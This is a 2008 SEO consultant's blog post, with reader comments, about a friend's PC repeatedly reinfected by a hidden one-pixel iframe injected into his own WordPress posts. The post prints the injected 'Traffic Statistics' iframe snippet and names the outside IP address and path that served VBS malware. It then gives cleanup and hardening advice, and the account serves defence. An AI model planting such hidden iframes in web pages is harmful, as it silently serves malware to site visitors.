PubCon by Webmaster World - Speaker
Speaker bio

This blog is on the Big List of best search marketing blogs

2004 logo for Advanced Search Engine Workshops

 

Oregon Computer Consultants Association board member logo
Consultant page

  

Search Engine Marketing Alliance - PDX

  

Independent Computer Consultants Association logo

  

 

 

 

  

 

 

2005 logo for Advanced Search Engine Workshops

 

  

Virus in a Wordpress Post

2nd May 2008

I was at a friends home a couple of weeks ago, and he was complaining about a virus on his computer. Try as he might, he could not get rid of this virus. I total look and thought I was able to remove it, but he said that the next day it came back.

Ultimately he ended up having a local computer repair person come out, who cleaned up his system and a couple of hours and the problem went away., but today,we talked by phone, and he told me he got the warning again when he viewed his own blog.

I took a look at his blog and here’s what I saw -

Interesting! I recognize the IP address from the file that I couldn’t seem to get rid of while I was visiting, so now we had our culprit. We knew where his virus came from… it came from his own WordPress blog!

At that point I did little bit of research, and found a post on the WordPress support forum talking about this very issue, where it seemed that someone had inserted this code into one of someone else’s old posts.

<!– Traffic Statistics –> <iframe height=”1″ width=”1″ frameBorder=”0″ src=”http://www.wp-stats-XXXphp.info/iframe/wp-stats.XXXphp”></iframe><!– End Traffic Statistics –>

At that point it was a matter of picking through all of his posts manually, and viewing the html code of each one, before finding and deleting it. Of course, in his case, it was found in 8 different posts! It was coming from http://61.155.8.157/iframe/wp-stats.php and was a VBS Malware-gen

Luckily he’s an infrequent poster, but can you imagine how difficult this may have been if there were multiple users posting everyday?

The moral of the story? Moderate your new users, use a secure password, keep your Wordpress current (his was not) and watch out for strange e-mail addresses signing up as new users!


Please leave a comment, or use one of these networks for sharing...

These icons link to social bookmarking sites where readers can share and discover new web pages.

  • del.icio.us
  • Sphinn
  • StumbleUpon
  • bodytext
  • Google
  • Technorati
  • TwitThis

6 Responses to “Virus in a Wordpress Post”

  1. new zealand accommodation Says:

    What a scary bug!! For future reference though, wouldn’t it be more efficient if you have lots of posts to do a database query inside the database for that text so you can find the infected posts?

     

  2. Scott Says:

    Yep, you’re absolutely right, and I didn’t even think of that obvious solution… Thank you.

    It makes perfect sense, rather than looking through post after post. - I hope I never get a chance to try it though!

     

  3. Sandy ALlen Says:

    I also use the No Script plugin for Firefox. While I scan my own stuff, I don’t always trust others.

     

  4. tom@ccreview Says:

    Is there a way to automatically scan all pages of a site for a virus ?

     

  5. Scott Says:

    as in, someone elses site? If you have no local access to the files, you mean? Hmmm, I’m not sure. McAfee Site Advisor maybe? Anyone else know?

     

  6. Qaswer Says:

    To be very true, I am shocked to know that because I have just installed wordpress on my 2 new sites. Thanks for the nice tips though to save ourselves from such malicious code.

     

Leave a Reply

Subscribe without commenting

 Recent Posts

AddThis Social Bookmark Button
AddThis Feed Button

Affiliate Partners I Recommend

SEOmoz.org - Learn From SEO Experts. Become an Expert.

Free SEO Tools from Aaron Wall give you a competitive advantage. Aaron wrote the worlds best SEO book, and reading that helped me get my start in search.

Best of the Web is the oldest internet directory, and guaranteed to bring you bang for your buck. It's affordable and it's highly recommended by me, Scott Hendison! I'm a paid member for life...

Park Those Unused Domains and earn some cash, instead of having them just lie around doing nothing!



 
 

Copyright 2007; Search Commander; SEO Consultant Scott Hendison; All Rights Reserved.